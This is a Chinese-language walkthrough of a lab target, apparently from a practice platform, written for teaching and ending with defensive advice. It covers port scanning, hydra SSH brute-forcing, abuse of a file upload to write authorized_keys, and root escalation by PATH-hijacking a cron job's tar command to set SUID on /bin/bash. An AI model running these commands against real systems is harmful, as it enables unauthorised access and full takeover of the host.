从WEB到内网&&文件上传&&SSH公私钥免密登录&&Cron job提权--------打靶经验分享
字数 1291 2025-08-10 16:34:39
从WEB到内网渗透与提权:综合打靶技术详解
1. 信息收集阶段
1.1 端口扫描
使用Nmap进行端口扫描是渗透测试的第一步:
# 快速扫描所有端口
nmap --min-rate 10000 -p- 192.168.248.249
# 详细扫描特定端口服务
nmap -p 21,22,111,139,443,445,2049,10000,25022,33414,40080 -sV 192.168.248.249
关键发现:
- 21端口:FTP服务
- 25022端口:SSH服务
- 33414端口:未知服务(后续发现是Python Werkzeug应用)
- 40080端口:HTTP服务
1.2 端口测试
FTP服务测试(21端口)
尝试匿名登录:
ftp 192.168.248.249
用户名:anonymous,密码为空或任意邮箱地址
结果:成功登录但未发现有用文件
SSH服务测试(25022端口)
尝试弱口令爆破:
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.248.249 ssh -s 25022
注意:爆破SSH需谨慎,可能触发安全警报
未知服务测试(33414端口)
详细探测:
nmap -sT -sV -O -sC -p 33414 192.168.248.249
发现Werkzeug/2.2.3(Python WSGI工具库)
目录扫描:
dirsearch -u http://192.168.248.249:33414/
发现/help和/info端点
2. 攻击阶段
2.1 文件上传漏洞利用
发现/file-upload接口,尝试上传文件:
# 创建测试文件
touch shell.php
# 尝试上传PHP文件
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=shell.php http://192.168.248.249:33414/file-upload
发现:PHP文件被过滤,但允许其他格式文件上传
2.2 目录穿越尝试
尝试路径穿越上传:
curl -X POST -F file="@/home/czy1874396671/shell.php.txt" -F filename=../shell.php http://192.168.248.249:33414/file-upload
结果:500错误,权限不足
2.3 寻找可写目录
通过文件列表接口查找可写目录:
curl http://192.168.248.249:33414/file-list?dir=/tmp
发现用户alfredo及其.ssh目录
2.4 SSH公钥注入
- 生成SSH密钥对:
ssh-keygen -t rsa
- 上传公钥到目标服务器:
curl -X POST -F file="@/home/czy1874396671/shell.php.txt.pub.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.248.249:33414/file-upload
- 使用私钥登录:
ssh -i shell.php.txt alfredo@192.168.248.249 -p 25022
成功获取初始shell
3. 内网渗透
3.1 查找用户flag
find / -name local.txt
cat /home/alfredo/local.txt
4. 权限提升
4.1 提权方法尝试
- sudo提权:
sudo -l
需要密码,无法直接使用
- SUID提权:
find / -perm -u=s -type f 2>/dev/null
无可用二进制
- Capabilities提权:
/usr/sbin/getcap -r / 2>/dev/null
无结果
4.2 Cron Job提权
- 查看定时任务:
cat /etc/crontab
发现每分钟执行的任务:
* * * * * root /usr/local/bin/backup-flask.sh
- 分析备份脚本:
cat /usr/local/bin/backup-flask.sh
内容为打包/home/alfredo/restapi目录到/tmp/flask.tar.gz
- 利用PATH环境变量劫持:
# 创建恶意tar命令
echo "chmod +u+s /bin/bash" > tar
# 查看内容
cat tar
# 添加执行权限
chmod +x tar
# 将当前目录加入PATH
export PATH=.:$PATH
- 等待定时任务执行后,获取root shell:
bash -p
4.3 获取root flag
cat /root/proof.txt
5. 关键知识点总结
-
文件上传漏洞利用:
- 测试不同文件类型上传
- 尝试路径穿越
- 寻找可写目录(特别是用户目录)
-
SSH公钥注入:
- 通过文件上传漏洞写入authorized_keys
- 使用私钥实现免密登录
-
Cron Job提权:
- 查找系统定时任务
- 分析脚本内容
- 利用PATH劫持执行恶意命令
- 通过SUID位提升权限
-
其他提权方法:
- sudo -l检查可执行命令
- 查找SUID二进制文件
- 检查Capabilities设置
6. 防御建议
-
文件上传防护:
- 限制上传文件类型
- 禁止路径穿越
- 设置上传目录不可执行
- 使用随机文件名
-
SSH安全:
- 禁用root登录
- 使用密钥认证时设置严格权限
- 监控authorized_keys文件变更
-
定时任务安全:
- 使用绝对路径执行命令
- 限制脚本修改权限
- 监控crontab变更
-
权限管理:
- 遵循最小权限原则
- 定期审计SUID/SGID文件
- 监控敏感目录修改
通过这个案例,我们学习了一个完整的渗透测试流程:从信息收集、漏洞利用、内网渗透到最终权限提升。每个环节都需要仔细分析和尝试多种方法,才能成功完成渗透测试。